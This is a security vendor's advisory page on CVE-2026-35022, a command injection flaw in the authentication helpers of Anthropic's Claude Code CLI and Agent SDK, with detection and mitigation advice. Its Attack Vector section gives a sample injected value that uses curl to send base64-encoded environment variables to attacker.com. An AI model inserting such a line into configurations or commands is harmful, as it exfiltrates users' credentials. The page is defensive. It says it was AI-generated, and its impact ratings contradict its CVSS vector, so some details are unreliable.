The SentinelOne Annual Threat Report - A Defenders Guide from the FrontlinesThe SentinelOne Annual Threat ReportGet the Report
Experiencing a Breach?Blog
Get StartedContact Us
SentinelOne
  • Platform
    Platform Overview
    • Singularity Platform
      Welcome to Integrated Enterprise Security
    • AI for Security
      Leading the Way in AI-Powered Security Solutions
    • Securing AI
      Accelerate AI Adoption with Secure AI Tools, Apps, and Agents.
    • How It Works
      The Singularity XDR Difference
    • Singularity Marketplace
      One-Click Integrations to Unlock the Power of XDR
    • Pricing & Packaging
      Comparisons and Guidance at a Glance
    Data & AI
    • Purple AI
      Accelerate SecOps with Generative AI
    • Singularity Hyperautomation
      Easily Automate Security Processes
    • AI-SIEM
      The AI SIEM for the Autonomous SOC
    • Singularity Data Lake
      AI-Powered, Unified Data Lake
    • Singularity Data Lake for Log Analytics
      Seamlessly Ingest Data from On-Prem, Cloud or Hybrid Environments
    Endpoint Security
    • Singularity Endpoint
      Autonomous Prevention, Detection, and Response
    • Singularity XDR
      Native & Open Protection, Detection, and Response
    • Singularity RemoteOps Forensics
      Orchestrate Forensics at Scale
    • Singularity Threat Intelligence
      Comprehensive Adversary Intelligence
    • Singularity Vulnerability Management
      Application & OS Vulnerability Management
    • Singularity Identity
      Identity Threat Detection and Response
    Cloud Security
    • Singularity Cloud Security
      Block Attacks with an AI-Powered CNAPP
    • Singularity Cloud Native Security
      Secure Cloud and Development Resources
    • Singularity Cloud Workload Security
      Real-Time Cloud Workload Protection Platform
    • Singularity Cloud Data Security
      AI-Powered Threat Detection for Cloud Storage
    • Singularity Cloud Security Posture Management
      Detect and Remediate Cloud Misconfigurations
    Securing AI
    • Prompt Security
      Secure AI Tools Across Your Enterprise
  • Why SentinelOne?
    Why SentinelOne?
    • Why SentinelOne?
      Cybersecurity Built for What’s Next
    • Our Customers
      Trusted by the World’s Leading Enterprises
    • Industry Recognition
      Tested and Proven by the Experts
    • About Us
      The Industry Leader in Autonomous Cybersecurity
    Compare SentinelOne
    • Arctic Wolf
    • Broadcom
    • CrowdStrike
    • Cybereason
    • Microsoft
    • Palo Alto Networks
    • Sophos
    • Splunk
    • Trellix
    • Trend Micro
    • Wiz
    Verticals
    • Energy
    • Federal Government
    • Finance
    • Healthcare
    • Higher Education
    • K-12 Education
    • Manufacturing
    • Retail
    • State and Local Government
  • Services
    Managed Services
    • Managed Services Overview
      Wayfinder Threat Detection & Response
    • Threat Hunting
      World-Class Expertise and Threat Intelligence
    • Managed Detection & Response
      24/7/365 Expert MDR Across Your Entire Environment
    • Incident Readiness & Response
      DFIR, Breach Readiness, & Compromise Assessments
    Support, Deployment, & Health
    • Technical Account Management
      Customer Success with Personalized Service
    • SentinelOne GO
      Guided Onboarding & Deployment Advisory
    • SentinelOne University
      Live and On-Demand Training
    • Services Overview
      Comprehensive Solutions for Seamless Security Operations
    • SentinelOne Community
      Community Login
  • Partners
    Our Network
    • MSSP Partners
      Succeed Faster with SentinelOne
    • Singularity Marketplace
      Extend the Power of S1 Technology
    • Cyber Risk Partners
      Enlist Pro Response and Advisory Teams
    • Technology Alliances
      Integrated, Enterprise-Scale Solutions
    • SentinelOne for AWS
      Hosted in AWS Regions Around the World
    • Channel Partners
      Deliver the Right Solutions, Together
    • SentinelOne for Google Cloud
      Unified, Autonomous Security Giving Defenders the Advantage at Global Scale
    • Partner Locator
      Your Go-to Source for Our Top Partners in Your Region
    Partner Portal→
  • Resources
    Resource Center
    • Case Studies
    • Data Sheets
    • eBooks
    • Reports
    • Videos
    • Webinars
    • Whitepapers
    • Events
    View All Resources→
    Blog
    • Feature Spotlight
    • For CISO/CIO
    • From the Front Lines
    • Identity
    • Cloud
    • macOS
    • SentinelOne Blog
    Blog→
    Tech Resources
    • SentinelLABS
    • Ransomware Anthology
    • Cybersecurity 101
  • About
    About SentinelOne
    • About SentinelOne
      The Industry Leader in Cybersecurity
    • Investor Relations
      Financial Information & Events
    • SentinelLABS
      Threat Research for the Modern Threat Hunter
    • Careers
      The Latest Job Opportunities
    • Press & News
      Company Announcements
    • Cybersecurity Blog
      The Latest Cybersecurity Threats, News, & More
    • FAQ
      Get Answers to Our Most Frequently Asked Questions
    • DataSet
      The Live Data Platform
    • S Foundation
      Securing a Safer Future for All
    • S Ventures
      Investing in the Next Generation of Security, Data and AI
  • Pricing
Get StartedContact Us
CVE Vulnerability Database
Vulnerability Database/CVE-2026-35022

CVE-2026-35022: Claude CLI & SDK RCE Vulnerability

CVE-2026-35022 is a command injection flaw in Anthropic Claude Code CLI and Agent SDK that enables remote code execution. Attackers can exploit authentication helpers to run arbitrary commands and steal credentials.

Published: April 10, 2026

CVE-2026-35022 Overview

Anthropic Claude Code CLI and Claude Agent SDK contain a critical OS command injection vulnerability (CWE-78) in the authentication helper execution mechanism. The vulnerability exists because helper configuration values are executed using shell=true without proper input validation. Attackers who can influence authentication settings can inject shell metacharacters through parameters like apiKeyHelper, awsAuthRefresh, awsCredentialExport, and gcpAuthRefresh to execute arbitrary commands with the privileges of the user or automation environment, enabling credential theft and environment variable exfiltration.

Critical Impact

This vulnerability enables remote attackers to execute arbitrary OS commands with user or automation environment privileges, potentially leading to credential theft, environment variable exfiltration, and full system compromise in CI/CD pipelines.

Affected Products

  • Anthropic Claude Code CLI
  • Anthropic Claude Agent SDK

Discovery Timeline

  • 2026-04-06 - CVE CVE-2026-35022 published to NVD
  • 2026-04-07 - Last updated in NVD database

Technical Details for CVE-2026-35022

Vulnerability Analysis

The vulnerability stems from improper handling of user-controllable input in authentication helper configurations. When the Claude Code CLI or Claude Agent SDK processes authentication helper settings, it invokes external processes using a shell interpreter (shell=true) without sanitizing or validating the input values. This architectural flaw allows attackers to break out of the intended command context by injecting shell metacharacters such as semicolons, backticks, or pipe operators.

The authentication helper mechanism is designed to retrieve credentials dynamically from external sources, a common pattern in cloud-native environments. However, the implementation fails to treat these configuration values as potentially hostile input. When parameters like apiKeyHelper, awsAuthRefresh, awsCredentialExport, or gcpAuthRefresh are processed, the entire string is passed to a shell for execution, enabling command chaining and arbitrary code execution.

This vulnerability is particularly dangerous in CI/CD environments where these tools are commonly deployed. Automation systems often run with elevated privileges and have access to sensitive credentials, API keys, and cloud provider tokens. An attacker exploiting this vulnerability could exfiltrate all environment variables, steal authentication tokens, or establish persistent access to the compromised system.

Root Cause

The root cause is the use of shell=true when executing authentication helper commands without implementing proper input validation or sanitization. The code directly passes user-controllable configuration values to shell execution, violating the principle of treating all external input as untrusted. Proper remediation requires either switching to shell-free process execution methods or implementing strict allowlisting and input sanitization for helper command parameters.

Attack Vector

The attack vector is network-based, requiring an attacker to influence the authentication helper configuration. This can occur through multiple scenarios: compromised configuration files, malicious repository settings in CI/CD environments, man-in-the-middle attacks on configuration delivery, or social engineering users to modify their local settings. Once the malicious configuration is in place, the next invocation of the authentication helper triggers command execution.

The attacker injects shell metacharacters into one of the vulnerable parameters (e.g., apiKeyHelper). For example, a value like echo api-key; curl attacker.com/exfil?data=$(env|base64) would first attempt to execute the legitimate command, then exfiltrate all environment variables to an attacker-controlled server. Since the command runs with the user's privileges, any credentials, tokens, or secrets accessible to that user are at risk.

Detection Methods for CVE-2026-35022

Indicators of Compromise

  • Unexpected outbound network connections from systems running Claude Code CLI or Claude Agent SDK
  • Unusual process spawning patterns where Claude-related processes launch shell commands containing metacharacters
  • Configuration files containing shell metacharacters (;, |, `, $()) in authentication helper parameters
  • Evidence of environment variable enumeration or credential harvesting in process execution logs

Detection Strategies

  • Monitor process execution chains for Claude Code CLI or Claude Agent SDK spawning unexpected child processes
  • Implement configuration file integrity monitoring to detect unauthorized modifications to authentication helper settings
  • Deploy endpoint detection rules that alert on shell command patterns typical of injection attacks (command chaining, base64-encoded payloads)
  • Review CI/CD pipeline logs for anomalous authentication helper behavior or unexpected external network requests

Monitoring Recommendations

  • Enable detailed logging for all authentication helper executions in Claude Code CLI and Claude Agent SDK deployments
  • Implement network egress monitoring to detect unauthorized data exfiltration attempts
  • Configure SIEM rules to correlate authentication helper invocations with subsequent suspicious process or network activity
  • Establish baseline behavior for normal authentication helper operations to identify deviations

How to Mitigate CVE-2026-35022

Immediate Actions Required

  • Audit all Claude Code CLI and Claude Agent SDK configurations for shell metacharacters in authentication helper parameters
  • Restrict write access to configuration files containing authentication helper settings
  • Implement network segmentation to limit the blast radius of potential credential exfiltration
  • Consider disabling authentication helpers temporarily in high-risk environments until patches are applied

Patch Information

Users should monitor official Anthropic security advisories and the VulnCheck Advisory for patch availability. Apply security updates immediately when released. For additional technical analysis, refer to the Phoenix Security Analysis.

Workarounds

  • Implement strict input validation at the environment level to prevent shell metacharacters from being processed
  • Use wrapper scripts that sanitize authentication helper parameters before passing them to the CLI
  • Deploy application-level firewalls or security policies that block command injection patterns
  • Rotate all credentials that may have been accessible to potentially compromised environments
bash
# Configuration example: Validate helper parameters before use
# Check for common shell metacharacters in configuration
grep -E '[;|`$()]' ~/.claude/config.json && echo "WARNING: Potential injection detected"
# Restrict configuration file permissions
chmod 600 ~/.claude/config.json

Disclaimer: This content was generated using AI. While we strive for accuracy, please verify critical information with official sources.

  • Vulnerability Details
  • TypeRCE

  • Vendor/TechAnthropic Claude

  • SeverityCRITICAL

  • CVSS Score9.3

  • EPSS Probability0.25%

  • Known ExploitedNo
  • CVSS Vector
  • CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
  • Impact Assessment
  • ConfidentialityLow
  • IntegrityNone
  • AvailabilityHigh
  • CWE References
  • CWE-78
  • Technical References
  • Phoenix Security Analysis

  • VulnCheck Advisory
  • Related CVEs
  • CVE-2026-35020: Claude CLI OS Command Injection Vulnerability

  • CVE-2026-22561: Claude for Windows Privilege Escalation Flaw
Default Legacy - Prefooter | Experience the World’s Most Advanced Cybersecurity Platform

Experience the World’s Most Advanced Cybersecurity Platform

See how our intelligent, autonomous cybersecurity platform can protect your organization now and into the future.

Try SentinelOne
  • Get Started
  • Get a Demo
  • Product Tour
  • Why SentinelOne
  • Pricing & Packaging
  • FAQ
  • Contact
  • Contact Us
  • Customer Support
  • SentinelOne Status
  • Language
  • Platform
  • Singularity Platform
  • Singularity Endpoint
  • Singularity Cloud
  • Singularity AI-SIEM
  • Singularity Identity
  • Singularity Marketplace
  • Purple AI
  • Services
  • Wayfinder TDR
  • SentinelOne GO
  • Technical Account Management
  • Support Services
  • Verticals
  • Energy
  • Federal Government
  • Finance
  • Healthcare
  • Higher Education
  • K-12 Education
  • Manufacturing
  • Retail
  • State and Local Government
  • Cybersecurity for SMB
  • Resources
  • Blog
  • Labs
  • Case Studies
  • Videos
  • Product Tours
  • Events
  • Cybersecurity 101
  • eBooks
  • Webinars
  • Whitepapers
  • Press
  • News
  • Ransomware Anthology
  • Company
  • About Us
  • Our Customers
  • Careers
  • Partners
  • Legal & Compliance
  • Security & Compliance
  • Investor Relations
  • S Foundation
  • S Ventures

©2026 SentinelOne, All Rights Reserved.

Privacy Notice Terms of Use

English